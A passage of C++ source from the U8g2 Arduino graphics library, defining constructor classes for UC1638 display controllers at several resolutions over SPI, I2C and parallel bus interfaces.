dc, reset); } }; class U8G2_UC1638_160X128_2_4W_SW_SPI : public U8G2 { public: U8G2_UC1638_160X128_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1638_160x128_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_UC1638_160X128_2_4W_HW_SPI : public U8G2 { public: U8G2_UC1638_160X128_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1638_160x128_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_UC1638_160X128_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_UC1638_160X128_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1638_160x128_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_UC1638_160X128_2_3W_SW_SPI : public U8G2 { public: U8G2_UC1638_160X128_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1638_160x128_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_UC1638_160X128_2_3W_HW_SPI : public U8G2 { public: U8G2_UC1638_160X128_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1638_160x128_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_UC1638_160X128_2_6800 : public U8G2 { public: U8G2_UC1638_160X128_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1638_160x128_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_UC1638_160X128_2_8080 : public U8G2 { public: U8G2_UC1638_160X128_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1638_160x128_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_UC1638_160X128_F_4W_SW_SPI : public U8G2 { public: U8G2_UC1638_160X128_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1638_160x128_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_UC1638_160X128_F_4W_HW_SPI : public U8G2 { public: U8G2_UC1638_160X128_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1638_160x128_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_UC1638_160X128_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_UC1638_160X128_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1638_160x128_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_UC1638_160X128_F_3W_SW_SPI : public U8G2 { public: U8G2_UC1638_160X128_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1638_160x128_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_UC1638_160X128_F_3W_HW_SPI : public U8G2 { public: U8G2_UC1638_160X128_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1638_160x128_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_UC1638_160X128_F_6800 : public U8G2 { public: U8G2_UC1638_160X128_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1638_160x128_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_UC1638_160X128_F_8080 : public U8G2 { public: U8G2_UC1638_160X128_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1638_160x128_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_UC1638_192X96_1_4W_SW_SPI : public U8G2 { public: U8G2_UC1638_192X96_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1638_192x96_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_UC1638_192X96_1_4W_HW_SPI : public U8G2 { public: U8G2_UC1638_192X96_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1638_192x96_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_UC1638_192X96_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_UC1638_192X96_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1638_192x96_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_UC1638_192X96_1_3W_SW_SPI : public U8G2 { public: U8G2_UC1638_192X96_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1638_192x96_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_UC1638_192X96_1_3W_HW_SPI : public U8G2 { public: U8G2_UC1638_192X96_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1638_192x96_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_UC1638_192X96_1_6800 : public U8G2 { public: U8G2_UC1638_192X96_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1638_192x96_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_UC1638_192X96_1_8080 : public U8G2 { public: U8G2_UC1638_192X96_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1638_192x96_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_UC1638_192X96_2_4W_SW_SPI : public U8G2 { public: U8G2_UC1638_192X96_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1638_192x96_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_UC1638_192X96_2_4W_HW_SPI : public U8G2 { public: U8G2_UC1638_192X96_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1638_192x96_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_UC1638_192X96_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_UC1638_192X96_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1638_192x96_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_UC1638_192X96_2_3W_SW_SPI : public U8G2 { public: U8G2_UC1638_192X96_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1638_192x96_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_UC1638_192X96_2_3W_HW_SPI : public U8G2 { public: U8G2_UC1638_192X96_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1638_192x96_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_UC1638_192X96_2_6800 : public U8G2 { public: U8G2_UC1638_192X96_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1638_192x96_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_UC1638_192X96_2_8080 : public U8G2 { public: U8G2_UC1638_192X96_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1638_192x96_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_UC1638_192X96_F_4W_SW_SPI : public U8G2 { public: U8G2_UC1638_192X96_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1638_192x96_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_UC1638_192X96_F_4W_HW_SPI : public U8G2 { public: U8G2_UC1638_192X96_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1638_192x96_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_UC1638_192X96_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_UC1638_192X96_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1638_192x96_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_UC1638_192X96_F_3W_SW_SPI : public U8G2 { public: U8G2_UC1638_192X96_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1638_192x96_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_UC1638_192X96_F_3W_HW_SPI : public U8G2 { public: U8G2_UC1638_192X96_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1638_192x96_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_UC1638_192X96_F_6800 : public U8G2 { public: U8G2_UC1638_192X96_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1638_192x96_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_UC1638_192X96_F_8080 : public U8G2 { public: U8G2_UC1638_192X96_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1638_192x96_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_UC1638_192X96_1_SW_I2C : public U8G2 { public: U8G2_UC1638_192X96_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1638_i2c_192x96_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_UC1638_192X96_1_HW_I2C : public U8G2 { public: U8G2_UC1638_192X96_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1638_i2c_192x96_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_UC1638_192X96_1_2ND_HW_I2C : public U8G2 { public: U8G2_UC1638_192X96_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1638_i2c_192x96_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_UC1638_192X96_2_SW_I2C : public U8G2 { public: U8G2_UC1638_192X96_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1638_i2c_192x96_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_UC1638_192X96_2_HW_I2C : public U8G2 { public: U8G2_UC1638_192X96_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1638_i2c_192x96_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_UC1638_192X96_2_2ND_HW_I2C : public U8G2 { public: U8G2_UC1638_192X96_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1638_i2c_192x96_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_UC1638_192X96_F_SW_I2C : public U8G2 { public: U8G2_UC1638_192X96_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1638_i2c_192x96_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_UC1638_192X96_F_HW_I2C : public U8G2 { public: U8G2_UC1638_192X96_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1638_i2c_192x96_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_UC1638_192X96_F_2ND_HW_I2C : public U8G2 { public: U8G2_UC1638_192X96_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1638_i2c_192x96_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_UC1638_240X128_1_4W_SW_SPI : public U8G2 { public: U8G2_UC1638_240X128_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1638_240x128_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_UC1638_240X128_1_4W_HW_SPI : public U8G2 { public: U8G2_UC1638_240X128_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1638_240x128_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_UC1638_240X128_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_UC1638_240X128_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1638_240x128_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_UC1638_240X128_1_3W_SW_SPI : public U8G2 { public: U8G2_UC1638_240X128_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1638_240x128_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_UC1638_240X128_1_3W_HW_SPI : public U8G2 { public: U8G2_UC1638_240X128_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1638_240x128_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_UC1638_240X128_1_6800 : public U8G2 { public: U8G2_UC1638_240X128_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1638_240x128_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_UC1638_240X128_1_8080 : public U8G2 { public: U8G2_UC1638_240X128_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1638_240x128_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_UC1638_240X128_2_4W_SW_SPI : public U8G2 { public: U8G2_UC1638_240X128_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1638_240x128_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_UC1638_240X128_2_4W_HW_SPI : public U8G2 { public: U8G2_UC1638_240X128_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1638_240x128_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_UC1638_240X128_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_UC1638_240X128_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1638_240x128_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_UC1638_240X128_2_3W_SW_SPI : public U8G2 { public: U8G2_UC1638_240X128_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1638_240x128_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_UC1638_240X128_2_3W_HW_SPI : public U8G2 { public: U8G2_UC1638_240X128_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1638_240x128_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_UC1638_240X128_2_6800 : public U8G2 { public: U8G2_UC1638_240X128_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1638_240x128_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_UC1638_240X128_2_8080 : public U8G2 { public: U8G2_UC1638_240X128_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1638_240x128_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_UC1638_240X128_F_4W_SW_SPI : public U8G2 { public: U8G2_UC1638_240X128_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1638_240x128_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_UC1638_240X128_F_4W_HW_SPI : public U8G2 { public: U8G2_UC1638_240X128_F_4W_HW_SPI(const u8g2_cb_t 